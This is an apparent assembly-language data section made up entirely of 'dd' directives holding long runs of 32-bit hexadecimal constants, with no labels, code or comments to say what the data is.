		dd 522354Fh, 0FDECE60Eh, 9AF8917Eh, 0C7BFD5CCh,	8068B3D2h
		dd 0FE037693h, 0B6BCDBC1h, 5064FA9Fh, 0E6F2D8h,	3E16C5B1h
		dd 53024B28h, 8F9FDC1Ch, 0C2F5EF04h, 1FC71CC0h,	0B273005Ah
		dd 0CC45F6F0h, 3767A7B1h, 4E70ED70h, 0B97D03C1h, 0AC9E8054h
		dd 3F184775h, 5F68EE02h, 21E3EC04h, 3001B60Ch, 1DF2BAB8h
		dd 4704D892h, 2EE8D00Fh, 0AB0FC88h, 584E7014h, 0FBBA48Ch
		dd 0CAFEF0E4h, 818832A6h, 7259021h, 5B405178h, 0FC48DABBh
		dd 2C437463h, 0E42CE44Dh, 906C2314h, 2E7C80C0h,	7D1C60Ah
		dd 32B3B70Eh, 0C020A501h, 54E5A945h, 980047B0h,	0F003CEEEh
		dd 7C19825Dh, 25B03B7Eh, 2F578E06h, 8D2090BAh, 0C2E400BCh
		dd 0A630D694h, 1300E069h, 14A2F295h, 0FA4836h, 0BF885828h
		dd 0D98C533Bh, 4C1AE22Ch, 0B0FE4E80h, 0B27A3F2Ah, 5085603Ch
		dd 49D7DFBFh, 0CDF3F9C0h, 1CAB3D9Fh, 0AC5B22Fh,	829462B5h
		dd 25DF2111h, 0CC7B84C1h, 690A83D0h, 0B0E4BB55h, 518000BFh
		dd 15873B5Ah, 0C516137Ch, 0B8E47836h, 637FC014h, 0C26B00C0h
		dd 4A4D8935h, 0DF6F73A4h, 43BC8731h, 4908F398h,	2F366801h
		dd 99A9D12Eh, 0C44D370h, 0C6507A05h, 980C3189h,	5126DAF7h
		dd 7196060Fh, 0AE02BFA3h, 0EDF6349Ah, 503EB048h, 370088A4h
		dd 5BEAD4F2h, 0A8AB3Ch,	0A6F8EFF5h, 3EAF2B13h, 0C9DAE05h
		dd 50C018E6h, 2E07FEh, 0FBBA9AF4h, 19F9895Ch, 69D40600h
		dd 1D3C7F44h, 0B1D300ECh, 0CA9C97F6h, 0C64851D7h, 134E1E4Ch
		dd 77FFB005h, 60412985h, 0A0B823C7h, 84F09181h,	2419ED24h
		dd 0B9073EF4h, 187C92DDh, 0C01D27B4h, 7346F2E5h, 0C000BC04h
		dd 0B942DE75h, 0DEF940E1h, 0F15D0748h, 3149D0F4h, 27FA9E47h
		dd 0F0E0D309h, 3E3380F5h, 0EBE19h, 9D7A42E1h, 281E91C5h
		dd 3A03DD70h, 5FB1D7D0h, 4A0FE0C6h, 427E00D6h, 8295D19Bh
		dd 1A78C4B6h, 0FD762890h, 3A85A000h, 94A10FEh, 213C00F2h
		dd 0F331239Bh, 603891E9h, 9FCC80C2h, 2AD18790h,	0BED4009Dh
		dd 0A4A9DA1Ah, 701701F0h, 7700C898h, 7AB56FCDh,	0D8292EF7h
		dd 0CED38040h, 12D95557h, 0E5E31000h, 0FB7BE0B2h, 0C3AB0087h
		dd 0BEE7BCC0h, 63053F43h, 233A8451h, 0E3947080h, 557A0411h
		dd 87A0BBE7h, 13EF5337h, 68B814D3h, 800B23Fh, 0D469AF9Fh
		dd 6758EFAh, 26748519h,	0C09C206Ch, 949BB300h, 76139F9h
		dd 44101E8Ch, 0ED639027h, 513A4CF7h, 23DB9E67h,	46830FC3h
		dd 6359B004h, 0F8B970D5h, 0C1FB1867h, 7768A052h, 65CDA707h
		dd 4E108275h, 3ACC160Bh, 40802B9Ch, 6E9BD25Fh, 0B200623Eh
		dd 0F2511243h, 3AC2F9Eh, 0A9C349BFh, 0F8B1A7FBh, 9582F811h
		dd 221A7B0Fh, 0F34D2214h, 5E3A0h, 0E289BF19h, 0A102A251h
		dd 606E4101h, 3B08807Ah, 868DCCh, 0EE4E3DB7h, 44D69546h
		dd 9A234Ch, 0EAEDF3A7h,	0E76C29h, 0AE479D3Dh, 0A41EEB68h
		dd 9EDD2C3Ch, 0F9916Dh,	31618FDAh, 9AE8EEh, 7B0AA55Ch
		dd 0FA96CBEAh, 0E001D276h, 0FBE57F19h, 33D9E3B5h, 86A930h
		dd 0B139AA43h, 12B780CAh, 0B9EC1300h, 0AEFE9071h, 471000E9h
		dd 86C5ABA1h, 351F09E5h, 0FBCB1527h, 56482045h,	73B9C7h
		dd 259BF44Ah, 49D9CBF5h, 0BA2696F6h, 77000403h,	731EF198h
		dd 0AEE300DBh, 0C634219Fh, 4D07624Fh, 8A750305h, 14AC4A0h
		dd 6A3D1CA1h, 0DE5009D4h, 6ADDC00h, 0BE00CB82h,	0E365405Eh
		dd 12725D5h, 66FBD237h,	206F681Dh, 7E5C9311h, 0EF007B9Ch
		dd 5EFC9CD8h, 6453ACh, 3327D12Ch, 97674534h, 42B34A00h
		dd 0B9037059h, 669E2EE0h, 0D4448564h, 95280087h, 1F103F5Eh
		dd 0B3865B00h, 1A82CD0Ch, 0EC030064h, 0EAB8FAA1h, 1800D473h
		dd 8E82CDDh, 6A894Bh, 0E1286392h, 9F884F50h, 34072CB0h
		dd 3D85E5F2h, 0B2750431h, 0B40ED068h, 87E02E66h, 8A1FF97Dh
		dd 90BE9C00h, 7E940A45h, 63F139EBh, 5C6D3F80h, 0ABF84262h
		dd 8329809h, 91E883BCh,	0A2C0F00Ch, 18C908Ah, 894E731Dh
		dd 39327C87h, 73000F0h,	0B595534Ah, 0F3A21F04h,	0B16000F2h
		dd 0E1913442h, 9E005E98h, 0EBE7E6E3h, 636497h, 60904A69h
		dd 0A1F8D1B9h, 94C0FF00h, 88A506A6h, 0E6117B3Bh, 43F4179Eh
		dd 0F9800210h, 6CC00DC5h, 2007729Dh, 2DC93CB6h,	4B902410h
		dd 591502E2h, 293502F0h, 0FAD02043h, 0B20156B7h, 0E63EBB6Dh
		dd 15F090E2h, 858004Fh,	55460E69h, 8001CDD7h, 0A5B43385h
		dd 173037ADh, 418C0004h, 58974D17h, 0DD0EAE16h,	205C383Ah
		dd 0F21D9ABDh, 8A8B2EF3h, 476B8754h, 0F0E5271Ah, 0C392836h
		dd 0FFD69E1Dh, 49716C0h, 70B4607Bh, 8EC00019h, 0F1C7639Ch
		dd 9900CB3Ch, 0F92B71D1h, 8C132Eh, 0A540768h, 4573DFB6h
		dd 0D9440F00h, 3AB0D175h, 3C3B2E49h, 69C18000h,	7D0BFCA8h
		dd 8E2700Ch, 63718DAh, 98FA8835h, 0E600A15Dh, 73C09378h
		dd 30C02A8h, 0CCF4067Dh, 4AA0317Ah, 0A39838FEh,	28DD0E02h
		dd 0E0B19726h, 1273B98h, 88DFF35Dh, 0D15BBE93h,	39342873h
		dd 55280CCCh, 806079h, 0AC4F6C93h, 327D0374h, 5D00FA7Ah
		dd 3E5B9D1Fh, 25C25421h, 188AA8C8h, 964205Eh, 0CB889575h
		dd 7CAA300h, 0DC006238h, 9E92BB29h, 15143370h, 0B8F061DEh
		dd 0F7AD9500h, 12A50AFDh, 4D86DB01h, 8D54CF96h,	80C0F19Dh
		dd 369722DFh, 23BCE87h,	15558326h, 0C86AA228h, 5127E1Ch
		dd 737B68B6h, 7C840308h, 0D0001859h, 3003920Eh,	19B863Ch
		dd 10DBE945h, 0A0A009EDh, 84889EC1h, 1517C6FFh,	1E007C0Dh
		dd 0ACA3BE3Ah, 39FA33h,	27988485h, 2D2BB60Eh, 0DB3FD200h
		dd 0F4BE7B7Dh, 9BF50081h, 493CE45Eh, 4774C6CEh,	0B3093A00h
		dd 0C5B0BC17h, 0AA71CFA4h, 0C832CD60h, 2C00665Ah, 0BF73A7F0h
		dd 3334CFDh, 8752387h, 0E5F84953h, 63002784h, 29C507F3h
		dd 15D48839h, 90AC7306h, 49B90901h, 0C0DAA864h,	0B8079116h
		dd 3575D37Bh, 2278ED40h, 0D92E00D5h, 63108897h,	117457BFh
		dd 4214660h, 1EAC2ECDh,	1FEEFB12h, 5C6A0042h, 30D80398h
		dd 0F7D503Ch, 2138E259h, 5BA2C4FAh, 0E644E8h, 46FE1022h
		dd 0E232915Fh, 0FB7950C1h, 38BC47D3h, 0BAE05160h, 5E0E9407h
		dd 0AC2D4191h, 32105935h, 0D199CF2h, 183F5BE3h,	64377DC7h
		dd 0F5D041F1h, 6E4DA75h, 68171651h, 7FEC0823h, 3CAF20C0h
		dd 210175h, 0EDE94635h,	10EAD477h, 2D04A8C5h, 88F9B603h
		dd 1F23F0A0h, 15AD1FFAh, 0C0C58E9Eh, 0D2B5AF60h, 29008442h
		dd 7193BBE6h, 28F4C1h, 72EA77D4h, 0C773D5B8h, 3044DB00h
		dd 116DDFE2h, 42D80062h, 0C1EC80A2h, 0BA38C8D7h, 0F158A5h
		dd 235F2972h, 0BC5932h,	0D2B950B8h, 405D8569h, 48A09500h
		dd 54E23D2Ch, 6E750006h
		dd 3896FADDh, 6A0021D5h, 0FC746BBh, 6F8A46Dh, 0FFB1BA8Fh
		dd 900B851h, 22573DDh, 0F8AEDEF5h, 0AF1F0171h, 0C8CB2212h
		dd 0D8D8D9B0h, 0BF3E2D54h, 3BC100ABh, 477DE123h, 61E0EACh
		dd 79A08474h, 91A9B1B9h, 0BEB21F3Fh, 0AD0A8777h, 12C0B471h
		dd 0EA1E9302h, 0B79C3BAFh, 6BB90EFCh, 17806535h, 0D91B3FB5h
		dd 5CB1D216h, 0DB75A203h, 2F1AE01Ch, 0F817146h,	15EFF8B3h
		dd 0AB018B03h, 0C1359AC0h, 4128DA60h, 377F221h,	24F90372h
		dd 5858B3E9h, 0D8B236FAh, 486A0h, 18CC1F57h, 3CA0C5A5h
		dd 0F86D2301h, 5A1EABC4h, 33527FCh, 0B5213331h,	18D8FE20h
		dd 9BF4FAF1h, 35F28CA0h, 8F2C31CFh, 0AD8F6052h,	75FE1AEh
		dd 31E7A6Fh, 805E6020h,	0A428B38Bh, 0F80C2834h,	1891EA06h
		dd 0B4C0A1B1h, 0AC3C998Fh, 19A99BECh, 5368BA38h, 1F750760h
		dd 5A301284h, 613526BBh, 5F1A5959h, 9071A095h, 15424D1Ch
		dd 0F091400h, 602F208Eh, 0B467215Bh, 7CA44271h,	7E847856h
		dd 517983F1h, 4038F346h, 84558419h, 91292212h, 0EF380846h
		dd 84D77590h, 1F0C1AE5h, 7A4961F1h, 4E1CA518h, 0E66A439h
		dd 9177BDE8h, 0A7858EC7h, 2541A4Ah, 44ADCF67h, 3C3F1883h
		dd 29209F98h, 4A05CE0Ch, 33BA595Ah, 0FB3954F2h,	0C0F97AA0h
		dd 40671F14h, 789A87CCh, 114C76h, 3F7CEB2Ch, 0BDB833A8h
		dd 58A549h, 0BE776DB1h,	313DC22h, 5AC6F8AEh, 14BB90A6h
		dd 0A4076FC0h, 11DB3018h, 19F15810h, 0D040BE0Dh, 778C4142h
		dd 10344630h, 20C180F7h, 1F41A4A8h, 3D322973h, 0C17830A0h
		dd 3018A342h, 6E10031Bh, 0D08511F8h, 9886192Ah,	4AC040A1h
		dd 0D4AA1EC3h, 491E05B8h, 3A844E99h, 42003AFFh,	7E20A9D6h
		dd 0D4017FC5h, 0A340A533h, 34246135h, 0BC40AF2Eh, 68D01340h
		dd 0C2BBC040h, 312E14AAh, 0BF19CCB2h, 0FAABF0F7h, 0C89239F0h
		dd 0C4A5BE3Eh, 2A54AB80h, 44BCCF10h, 1024D401h,	200C44EEh
		dd 514038h, 0AF982873h,	3D359B7Eh, 16048092h, 0AB02DB2Fh
		dd 0C38945Dh, 88035F10h, 0A2736236h, 0AC8903h, 0E1463D71h
		dd 0F4B78AF6h, 787D2000h, 0E0819A49h, 36130006h, 1F0C1664h
		dd 6F12340Ah, 0E4023241h, 23C1F65Fh, 283872Dh, 6C7CC8F0h
		dd 118FD98h, 3421BA1Dh,	33D60E8Dh, 0A8216116h, 30E9A4AEh
		dd 3183749h, 1329B8FCh,	2D4600A5h, 756B8AA1h, 0C378F2E8h
		dd 7000B698h, 0AEF4CF22h, 266C0Bh, 3C1CFF80h, 0B8BE8B66h
		dd 5015F530h, 0C9538Ah,	1CE88079h, 6F7BE32Dh, 0D201CE7Ah
		dd 0B1132FDBh, 41D23450h, 4113F060h, 0BD7F02A0h, 0F8D3600h
		dd 59E9C9F2h, 1ECD00F7h, 742A7AA9h, 6500CCDEh, 0F215A43Ah
		dd 3F9A2BABh, 0B400C39Eh, 8428F76Fh, 4700F4A9h,	22037D87h
		dd 0C6CFC0h, 0DEB25CE4h, 847115ACh, 0AD405900h,	0FB971896h
		dd 13E93E48h, 219A0C18h, 4700DA16h, 8ED1742Dh, 0F7BD1C90h
		dd 0DFFC1471h, 6E3B3EBCh, 38658F9Bh, 1FF9DBE8h,	0E9D26C0Ch
		dd 0DC788Ch, 13E4C79Bh,	626AE1B2h, 8C419783h, 3980EA0Ch
		dd 95C94B7Bh, 0BC383E66h, 856B368h, 0AA89008Fh,	0D6F6C942h
		dd 0EC31A021h, 5DC31991h, 5BFF7989h, 90688E07h,	0F9F63E99h
		dd 60DAD430h, 1E90A07Eh, 4027EDF8h, 4360C8DCh, 8A01253Eh
		dd 62867F5Fh, 0E6F1F9F5h, 4CDB3186h, 10C058A8h,	96196064h
		dd 0B34B00E1h, 79A2FA5Bh, 0DE616E5Ch, 194DB920h, 0B83FA670h
		dd 5306032Fh, 647A0DDBh, 21AA5B98h, 0D44AF700h,	0E16FE244h
		dd 467728E3h, 5BCA18C0h, 0AED16879h, 7E99243Bh,	0F05A070Ch
		dd 60CD08A8h, 64F207Dh,	9D0C5429h, 0F8167AECh, 4345003Bh
		dd 0A7AE55F7h, 90C0DD31h, 2260BC32h, 0BAA00C6h,	8DFC943Fh
		dd 0E40031CEh, 0ABFF1033h, 72B26Bh, 55AE23Eh, 6E0E7367h
		dd 87C4E011h, 146C700h,	1CB3F5FFh, 0C3B6450Eh, 3F7A8094h
		dd 857EDh, 4B5D0967h, 5B079285h, 0A0C8F15h, 0A84A0CC8h
		dd 7FC8916Ch, 26F600D8h, 1D19018Fh, 62244B32h, 4105E7AEh
		dd 84604E84h, 0EC502471h, 2A0643CFh, 3000C8D7h,	88422909h
		dd 35B8DFFh, 74F37812h,	8A835DDh, 0DE3E8ABFh, 840C870h
		dd 0C68740h, 494D31EDh,	351B4421h, 0E8705EB9h, 7B5940Dh
		dd 0FF055B0Ch, 0DF3121C8h, 5372F012h, 8230D97Eh, 7784E0B2h
		dd 1461140Eh, 0CFE12030h, 0A4418B6h, 56C37770h,	8CB3808Ch
		dd 0E6E04243h, 0DC33B890h, 11081Eh, 44959A21h, 0AA81A42Ah
		dd 83E80C00h, 9DAB25F9h, 4DDB247Fh, 1A3BC04Ch, 5321E191h
		dd 0BC3795B6h, 1958017Ah, 0DEC27E57h, 4A4091B2h, 901A4280h
		dd 875BE1h, 0ED1950A7h,	0EC1C2546h, 0D9C0D51Ch,	626C8AD3h
		dd 0E001487Eh, 32C999C7h, 0DC334E66h, 0C950A440h, 0DC0112A3h
		dd 5B94E681h, 204109B2h, 9361CF5Eh, 156D02F8h, 8860F054h
		dd 5D242B00h, 44D3F72Ch, 8CD9921Ah, 0ED3098C1h,	67A00D8h
		dd 8CCC7D9Ah, 0D034378h, 641FEB7Bh, 114BD857h, 1C014C5Bh
		dd 2E823D87h, 385695E0h, 0C4065168h, 5A35165Dh,	5A4A5C79h
		dd 0C124570Bh, 82373B84h, 9F3150D8h, 21D9F6FCh,	0B99882FFh
		dd 771AA1h, 9764C024h, 0FDA0B22Ah, 12F1F662h, 8F5CC094h
		dd 0DD54055Bh, 12D5679Ah, 798C2FACh, 607B018Ch,	59092B99h
		dd 5075CD05h, 503EA4F0h, 40F4A8ABh, 0B517E6BEh,	1CE10760h
		dd 0A173FB66h, 20BD4414h, 5E038AE4h, 0DD061D6Bh, 4449509Fh
		dd 0D5330039h, 8ABE4F44h, 7240E8D1h, 27370749h,	0D041ECABh
		dd 44914FC8h, 3C18284Ch, 8E2F95B9h, 78472698h, 84B9215Eh
		dd 0EAC55281h, 0F9ECBBD2h, 401702EDh, 0B1C0477Fh, 5728C68h
		dd 5506EB00h, 91FFD58Dh, 63D71ED9h, 4EE7C72Ah, 0D6DBB227h
		dd 3F55C40h, 0C25AA12h,	0C07B4432h, 255825Ah, 713ECE7Fh
		dd 0D846C2D4h, 1144773Fh, 58881C67h, 44605380h,	3F11F6B3h
		dd 0B900219Ah, 43554D30h, 0F0E11586h, 0D5058BCEh, 5F79E19Fh
		dd 438A8088h, 0C93D0101h, 0BEEE669Fh, 54A0070Bh, 0D0A042C9h
		dd 0C2C53h, 98D42F94h, 8D02605Bh, 3FEF29C1h, 3DE41A8Ah
		dd 4FCD0069h, 7B198978h, 460A341Eh, 9C9FC73Bh, 17C0AB9Ch
		dd 0EF2762EBh, 1ECEA9Ch, 0B973A882h, 5759C68Fh,	7D405CC4h
		dd 33AFFE12h, 1469022h,	108508BDh, 0C0E6ECA1h, 0A8D845D1h
		dd 1EF43B79h, 33307E69h, 0B81ABB3Ch, 86B33BE1h,	0FC33144h
		dd 7C971953h, 82DAA5A5h, 50C83A13h, 0E7592768h,	5C1C00ACh
		dd 0B8EB614Eh, 79711EDBh, 4F86C099h, 0AA88C028h, 0CAC3E000h
		dd 48132003h, 69FA060Dh, 405FF19Fh, 330F050Ch, 0FE5808h
		dd 60C603DCh, 1F0EC85Eh, 4A0320E4h, 0A7C3E684h,	0C19E63h
		dd 0C05EAA6Ch, 0E2457297h, 70EBD132h, 3AACA0A2h, 4496D7h
		dd 0AF107CCBh, 0C988FC38h, 0F38541EBh, 8734F81Fh, 0E858DC59h
		dd 38B34264h, 21A44647h, 62B5F020h, 0C0138458h,	46439030h
		dd 1186E023h, 7996010Ah, 0DA50BA44h, 0CC7BE70h,	0CF1B908Dh
		dd 1F4DF04Ch, 0A157100h, 0B904DAC0h, 40F3075h, 0C830912h
		dd 0C103E69h, 8DCAA00Ch, 3A6090Eh, 6A5FEC56h, 62A2EB08h
		dd 3A941C88h, 81C9718h,	20A4709Ch, 0A800997Ch, 0E188D6A7h
		dd 338F5A22h, 0D098DE89h, 0F50A165h, 4CEA181Ch,	9969636Eh
		dd 198A8378h, 131CF704h, 10A458EAh, 18D0E56Bh, 1028DD50h
		dd 0E26052F9h, 410089Ah, 0D70A6383h, 44DFEC49h,	5C9561Ah
		dd 2030DD68h, 32B1F162h, 660813DEh, 8F2C0CA8h, 913910B8h
		dd 77189493h, 5029DE40h
		dd 9201DF60h, 0B99C00BAh, 0EF40AA7Dh, 0E9447357h, 0B81274DBh
		dd 0D4BA0350h, 0CA75DAC4h, 42FC2EA5h, 0C4C4FA04h, 8248958Bh
		dd 4220DD38h, 64C5D8h, 0A45B0E0Bh, 0E145DC20h, 208294B0h
		dd 3BA09860h, 658F500Ch, 131A1905h, 962F0DAh, 8C608AACh
		dd 54960901h, 0DD18FC2Ch, 66149h, 3725D367h, 8B8A43DFh
		dd 0A1BBDB13h, 270EA040h, 0C26CB28Dh, 6AE40871h, 59C990E8h
		dd 69EAAC30h, 4C3B66EBh, 983FE0DBh, 0BB0CAD00h,	0F378097Dh
		dd 5B846F1Dh, 0B900E824h, 0F8ADD2CCh, 6CF50ED7h, 0C94902DDh
		dd 0A44A3020h, 277487F1h, 10C26A30h, 94028F73h,	6548B318h
		dd 25980960h, 0E68649Ch, 0EC95505Eh, 0D26409Dh,	1FAB0CA8h
		dd 2116F703h, 0F1DD9268h, 81EAB48Fh, 0A850C09Ah, 9571E98Fh
		dd 0DFF7BBC2h, 0E5548C80h, 54B8E04Ch, 1ABEE703h, 9998DB9Dh
		dd 898090E1h, 51F31DDDh, 0F520C91h, 0F60401B4h,	53E1B25Fh
		dd 789F1C34h, 0A1AEFE3Bh, 8840EB60h, 60EF92A8h,	0F5F0807Fh
		dd 9B0C5CE1h, 305DDC9Eh, 0E1308B8Eh, 82770876h,	6BE130F1h
		dd 752DDC38h, 1A21DE01h, 852FEA80h, 0A0F40420h,	3A8EF510h
		dd 0B49802E9h, 587AA1F8h, 6FB08F50h, 0CAACA1h, 1E540F7Fh
		dd 9C5DFCCh, 4C81C0E7h,	2D65909Fh, 0A8022B88h, 5500B0A0h
		dd 67D9E3D3h, 94A3DEA7h, 0E00189ACh, 0ABA86420h, 0EE528957h
		dd 0EB1FC4B8h, 0E72C4735h, 95C5E2h, 5D2C26B8h, 0E1008DBFh
		dd 1AB0704Eh, 5C73CDE3h, 0A1F3E7Ah, 0DD03449Ch,	0EB9C90D4h
		dd 0A4A05B3Eh, 0B2015E8Ch, 0CE12CB3Bh, 95607BDFh, 3C9076B4h
		dd 0E406E5F7h, 0D8EA16F2h, 5C7468C7h, 719C1AF0h, 24F07939h
		dd 9850080Eh, 0A8A1B988h, 8832D924h, 2EB84894h,	93824887h
		dd 82DE82F7h, 29DDBBB8h, 8FC1E701h, 0DBC0246Ah,	0E36BD8A0h
		dd 294F933Ah, 0C3638CE9h, 9A5BA810h, 226E45DEh,	0C0421CD0h
		dd 0F5F181B0h, 1224B4E0h, 0D93028B7h, 88293468h, 6695579Eh
		dd 7058184Ch, 846FAEC0h, 0F0E85B33h, 8F290059h,	0EBD52430h
		dd 27075E56h, 0E3958C90h, 5B375D61h, 0D959409Bh, 0F76C608Fh
		dd 231A0A1h, 745BF117h,	80032990h, 0E9D06B7Dh, 7679C972h
		dd 5C923D81h, 60585079h, 30F9C5C3h, 48A43D8Ah, 4EE2A100h
		dd 743B9BE7h, 0C526010Eh, 947F688Eh, 0D4D4FDF8h, 2002E74Dh
		dd 0D6DDB990h, 0FCB840A6h, 66558080h, 2474840Ch, 0EF81787Ah
		dd 70760E01h, 566ADAC6h, 77023471h, 9992DE9Dh, 591269B0h
		dd 5C24342Ah, 2C20C017h, 7B4BDE7Eh, 7F87508h, 540B377Dh
		dd 0DA28B076h, 6E395E12h, 6A909FCAh, 289B4862h,	88617878h
		dd 0DD0E68A9h, 0F9016D98h, 4311181h, 0A0C4DFF0h, 19D2740h
		dd 795D60E2h, 0E0265CAAh, 730012F8h, 0A0226A80h, 911675E1h
		dd 30721FC8h, 8B90F75Ch, 8300CDF0h, 6026A024h, 0A8C6DBEAh
		dd 807FC1C8h, 111CA291h, 2E818421h, 0C6D0F64h, 1E14C60h
		dd 0C7A77F66h, 5626C4E4h, 48568E0h, 3C0E40FDh, 0BE4C0930h
		dd 3A644898h, 76A440C7h, 81549E55h, 8FAA1B3Eh, 1E1C60ACh
		dd 0A57E4800h, 45712856h, 743309B2h, 24C8BFC9h,	97006D61h
		dd 0E834913Eh, 2BD8C65h, 77947824h, 0D4602BB9h,	0BF065C52h
		dd 0CEC6A78Ah, 0D01D5839h, 0B12C5400h, 0DC295D11h, 2E1AAA3Fh
		dd 0F60097D7h, 0A7A40E21h, 389A61h, 0C781D98Dh,	7E5258D4h
		dd 8104025Ch, 0DD85983Fh, 7BCB70C4h, 0B2540042h, 910CED4Dh
		dd 4526B98Fh, 4F00787Eh, 5537B78h, 9467F880h, 0A0C48C0Ch
		dd 6B056699h, 0B0AA782Ah, 2CC78680h, 6097143Bh,	0A87B3CC9h
		dd 20BBACh, 53E7952Dh, 2EA88BF2h, 8D74607Eh, 417C9600h
		dd 3BAA9D97h, 0C90743Fh, 9A031A36h, 24B42118h, 0CD299102h
		dd 5C5864C5h, 4D0147E6h, 5F0C9AB1h, 80A0CAA8h, 1509E12Ch
		dd 4CF774Ch, 0E4C57DD5h, 1F374E0h, 9743F220h, 51A80C90h
		dd 0D84BBD8Ch, 2700E93Ah, 701658D6h, 0A2C2B5E4h, 494848C7h
		dd 0B17D00CBh, 0DD01AA60h, 4503AE8Ch, 0AD26C2D8h, 704DA03Eh
		dd 151C9028h, 94A6638Bh, 1C2DAC41h, 784D0078h, 3EDC129Ah
		dd 5B1299F9h, 8CD3E2B2h, 8FE0A0FAh, 0C40A440Dh,	37499C60h
		dd 1DA9FF2Bh, 0DE5C496Ah, 0D774033h, 93705AD8h,	84B86EECh
		dd 0C02E475Eh, 6400C523h, 0F4415BAEh, 7B5D06D4h, 99CAFB79h
		dd 2A650E00h, 0C249BC6Dh, 0FF714Eh, 4C9AB3A1h, 1F2B4B95h
		dd 8389DC19h, 0C3CC61D0h, 0ACC1C006h, 0EDB4437Bh, 0BD6C3700h
		dd 0C488AB7h, 0D9F2005Ch, 9E96CB2Ch, 9007D53Ah,	293EAC26h
		dd 3546D380h, 0D0A401h,	603B1E0Ch, 5DB61DFAh, 80F5383Ch
		dd 5EDE9B8Eh, 1CC2913Dh, 588CE990h, 0F7B2D965h,	0F3808496h
		dd 87EC8B3Ch, 0E19B2EF2h, 0B85E4084h, 68012FC6h, 357F61B9h
		dd 0E4E49240h, 0DD1C00EFh, 8ABDD803h, 0D1C007D1h, 0F1FB20FFh
		dd 0A6F91F89h, 0E91B0092h, 658144C0h, 38A3C101h, 5ACCF878h
		dd 0F96F6C60h, 0CB455097h, 0C00B881Ch, 822BCD0Ah, 0C0D4F158h
		dd 0B4279DE9h, 4680007Eh, 0FE17DCFDh, 904BA83Ch, 0EBDA2000h
		dd 3E147AB5h, 0E3805956h, 24347475h, 2800EA49h,	9376B2F9h
		dd 0BC59B387h, 8B5D40BCh, 0EB00156Eh, 0E3F89EA4h, 916D297Ch
		dd 1417AF6Ch, 0C5809A91h, 55AF3F03h, 0F1E69E0h,	0E86E68C7h
		dd 9D5F6A08h, 0F454006Bh, 0ACC40DE5h, 5E210764h, 0B5F10244h
		dd 62482090h, 2DA2188h,	5B0DE978h, 0C4D970D4h, 86168670h
		dd 95F55500h, 0FB9A67Fh, 40015F24h, 190DC574h, 0ED00575Fh
		dd 9F7BF39Ch, 798AAB6h,	0BD7923ACh, 4378B0F6h, 49059DA8h
		dd 510F063Dh, 0C004A852h, 0ACC19042h, 3462550Ch, 0DF53AE09h
		dd 1045C07h, 0F0F5BAE0h, 470432ABh, 0C6A45B08h,	0F29AB8C8h
		dd 3C5C00AEh, 943942Ch,	3403871Dh, 0C69DADF3h, 12290364h
		dd 6AB501BCh, 143324D0h, 34999026h, 889C9408h, 0A886E004h
		dd 2D91C1E1h, 0B6E27F58h, 8D04BCC4h, 8A35DC0Ch,	15928C0h
		dd 3BD4A87Fh, 9DA50069h, 349AA75Eh, 6204A628h, 0F0064B99h
		dd 4A8F2488h, 0F3404E0Fh, 79ABE1A1h, 5B60F058h,	729A0CA0h
		dd 64D2FF00h, 98B1EDF9h, 3E9405A0h, 23F03026h, 41B8BA80h
		dd 251E4C21h, 0E100C368h, 0FD69BCA7h, 6B233804h, 0E70C8F89h
		dd 27020460h, 9821765Fh, 883C593Fh, 0C0D84181h,	2701FECCh
		dd 8449F1A4h, 0FC674DE5h, 639BC30h, 47096266h, 9086DB8Fh
		dd 27E197B4h, 7C8AD85Dh, 11F60C2Dh, 5AF40658h, 7EA86954h
		dd 86F7C903h, 50934B53h, 1ED91238h, 24950C08h, 0DD340CE4h
		dd 3E241249h, 813E83B5h, 0EED58CAEh, 185011D4h,	583DB54h
		dd 0F5FA9B31h, 6770B060h, 5D00C0FEh, 0A4322AAEh, 0D4F4Dh
		dd 912C68F2h, 5D462ACh,	0D59C1613h, 65DE4800h, 80F785h
		dd 512B4419h, 68E00D6Dh, 904826B8h, 0B8D431C0h,	6B1065EFh
		dd 50546C1Dh, 0E1C0889Ch, 9C2A67C6h, 0C709164h,	21100C99h
		dd 5CCC2350h, 4344C800h, 83EC3E2Eh, 3DCC3FEBh, 0BF288692h
		dd 9920B0Bh, 581C5B5Ch,	0D1036BB6h, 0D893F666h,	4731E962h
		dd 0AA8B0ACh, 0AE826B2h, 19496CAh, 7AFB8B66h, 3E218899h
		dd 13A53A2Dh, 996464E7h, 0B1DAEE60h, 785DD231h,	3062ECB2h
		dd 4AA3660Bh, 0EDC28C20h, 0BF4D5ED0h, 347F29A4h, 0AE059424h
		dd 34274666h, 0A90016C4h, 0DE62C947h, 3EA51503h, 0E0462759h
		dd 60DF91F8h, 44267848h, 0E8F3EBF6h, 0FC07274Ch, 0DABFE3FAh
		dd 5618420h, 0A1F00B3h,	0EEC35BEDh, 4800DB9Ah, 92D6778Ah
		dd 14C507CCh, 0C6F6EFF8h
		dd 2B6BE400h, 99548CA0h, 80438838h, 0D6EF828h, 0E27F207Ah
		dd 0EEC40001h, 56D1E3F6h, 0E20546A3h, 9612653Ah, 2CCC3A80h
		dd 0A6A701FEh, 0DE7CEFAFh, 8EDD609Ch, 0F601FB7Dh, 7996C601h
		dd 76D57523h, 3AE30260h, 0A0005087h, 39FE1218h,	68F82C6Ah
		dd 1019BC30h, 358B574h,	0A4020D30h, 48B37E60h, 8E45B81Eh
		dd 0C3A83F45h, 3AF06C0h, 0D7BFFh, 0DBFB57F9h, 0C61CE27Fh
		dd 5BB8EB67h, 82E02E80h, 40EF0359h, 0A4BA1FB1h,	0D3E443B0h
		dd 0E302480Eh, 203960F5h, 0F8447542h, 0BD2900CDh, 78FA6A89h
		dd 6CF841C0h, 0CA69AA06h, 0EA10C838h, 6752050Eh, 47F50A43h
		dd 3C02EFB8h, 23189679h, 8CD01B98h, 0F20DFFBh, 0FD61D479h
		dd 0BEEDCB63h, 0F5014A28h, 0AFB6FA43h, 7C173E4h, 471653C6h
		dd 269CE068h, 0E3003F7Fh, 8BCFAD8h, 7720166h, 1CD7B099h
		dd 4074402Ch, 0C000380Ch, 1FDA83ACh, 0C6423070h, 20B10F08h
		dd 0C031F500h, 0EA5FCF5Ah, 39450C7Dh, 92A6A9D7h, 0F3119501h
		dd 834CAD51h, 19DC2EE9h, 64F837FAh, 597BD018h, 1500F19Ch
		dd 4F762613h, 407362h, 63B681ADh, 0F195B711h, 25EE4906h
		dd 74992376h, 1DB32A9Ah, 0C04C0454h, 677A88B8h,	274980C8h
		dd 0C72AECC0h, 1C3BE000h, 5670CDDAh, 51AA3A1Bh,	0A1A0E1B9h
		dd 5C776100h, 8881844Ah, 762C1415h, 0FAC3899h, 0AF43028Ch
